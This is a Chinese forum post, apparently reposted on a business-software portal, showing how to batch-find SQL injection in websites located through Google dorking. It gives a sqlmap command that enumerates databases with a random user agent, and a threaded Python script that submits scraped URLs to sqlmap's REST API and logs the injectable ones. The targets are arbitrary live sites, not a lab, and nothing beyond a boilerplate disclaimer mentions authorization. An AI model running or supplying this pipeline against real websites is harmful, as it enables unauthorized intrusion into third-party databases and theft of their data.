ToB企服应用市场:ToB评测及商务社交产业平台

标题: 使用Sqlmap API接口联动Google Hacking批量SQL注入检测 [打印本页]

作者: 耶耶耶耶耶    时间: 2024-5-17 08:42
标题: 使用Sqlmap API接口联动Google Hacking批量SQL注入检测
目录

前言

挖掘SQL注入漏洞的一种方式就是通过Google Hacking搜索那些大概存在SQL的URL,然后手工的探测注入点。但是如今的SQL注入漏洞的网站是比力少的了,所以这样一个一个手工测效率有一点低。
sqlmap比力好的一点是可批量扫描多个URL中的注入点,好比这样:
预备一个包罗要扫描的URL列表的文件(每个URL占一行),然后使用 -m 选项指定要扫描的这个URL文件,执行如下的下令就可以:
  1. sqlmap -m urls.txt --batch --level=3 --random-agent --dbs
复制代码
还可以使用 --threads 来指定要使用的线程数。
slghack自动化搜集URL

最近写了一个小的python爬虫脚本,能从Google页面批量爬取URL。

slghack是一个基于Python第三方库yagooglesearch开发的,使用之前需要安装依靠: pip install yagooglesearch。
项目所在: https://github.com/zhx-hex/slghack
Sqlmap API

在Sqlmap项目的根目录下面有个sqlmapapi.py,大概很少有人注意到。
sqlmapapi.py就是sqlmap的分布式扫描sql注入,可以使用sqlmapapi.py开启服务端口,然后向sqlmapapi发送哀求,就可以举行sql注入。
使用方法也很简单 python sqlmapapi.py -s,在当地的8775端口就会开启一个sqlmapapi 的服务,也可以通过 -p 指定端口。

sqlmapapi 没有官方的API文档,只有一些第三方的文档。
参考文档:Unofficial SQLmap RESTful API documentation
大致工作流程:
脚本slghack_sqli

把slghack搜集到的URL复制到sql_urls.txt里面,就可以多线程批量检测了。
  1. import json
  2. import queue
  3. import requests
  4. from threading import Thread
  5. from time import sleep
  6. class slghack_sqli:
  7.     def __init__(self, server="http://127.0.0.1:8775", urlsfile=None, output="sqli_result.txt"):
  8.         self.server = server
  9.         self.urlsfile = urlsfile
  10.         self.ouput = output
  11.         self.task_queue = queue.Queue()
  12.     def get_urls(self):
  13.         with open(self.urlsfile, "r") as f:
  14.             for url in f.readlines():
  15.                 self.task_queue.put(url.strip())
  16.     def sent_server(self):
  17.         threads = []
  18.         while not self.task_queue.empty():
  19.             url = self.task_queue.get().strip()
  20.             print(f"Target URL: {url}")
  21.             t = Thread(target=self.scan, args=(url,))
  22.             threads.append(t)
  23.             t.start()
  24.         for t in threads:
  25.             t.join()
  26.     def scan(self, url):
  27.         try:
  28.             # 通过GET请求 http://ip:port/task/new 创建一个新的扫描任务
  29.             r = requests.get(f"{self.server}/task/new")
  30.             taskid = r.json()['taskid']
  31.             # 通过POST请求 http://ip:port/scan/start 并通过json格式提交参数,开启一个扫描
  32.             r = requests.post(
  33.                 f"{self.server}/scan/{taskid}/start",
  34.                 data=json.dumps({'url': url}), headers={'content-type': 'application/json'}
  35.             )
  36.             # 通过GET请求 http://ip:port/scan//status 来获取指定的taskid的扫描状态
  37.             r = requests.get(f"{self.server}/scan/{taskid}/status")
  38.             count = 0
  39.             while r.json()["status"] == "running":
  40.                 sleep(6)
  41.                 r = requests.get(f"{self.server}/scan/{taskid}/status")
  42.                 print(r.json()["status"])
  43.                 count += 1
  44.                 if count == 30:
  45.                     # 每个task最多跑6*30=180s结束
  46.                     requests.get(f"{self.server}/scan/{taskid}/stop")
  47.             r = requests.get(f"{self.server}/scan/{taskid}/data")
  48.             requests.get(f"{self.server}/scan/{taskid}/delete")
  49.             if r.json()['data']:
  50.                 print("Injection found: " + url)
  51.                 with open(self.ouput, "a") as f:
  52.                     f.write(url + "\n")
  53.         except requests.ConnectionError:
  54.             print("Connection error!")
  55. if __name__ == '__main__':
  56.     # 把slghack跑的结果复制到sql_urls.txt
  57.     ssqli = slghack_sqli(urlsfile='sql_urls.txt')
  58.     ssqli.get_urls()
  59.     ssqli.sent_server()
复制代码

这种批量扫描,比手工测试的效率肯定要高很多。
参考文章: https://www.freebuf.com/articles/web/204875.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4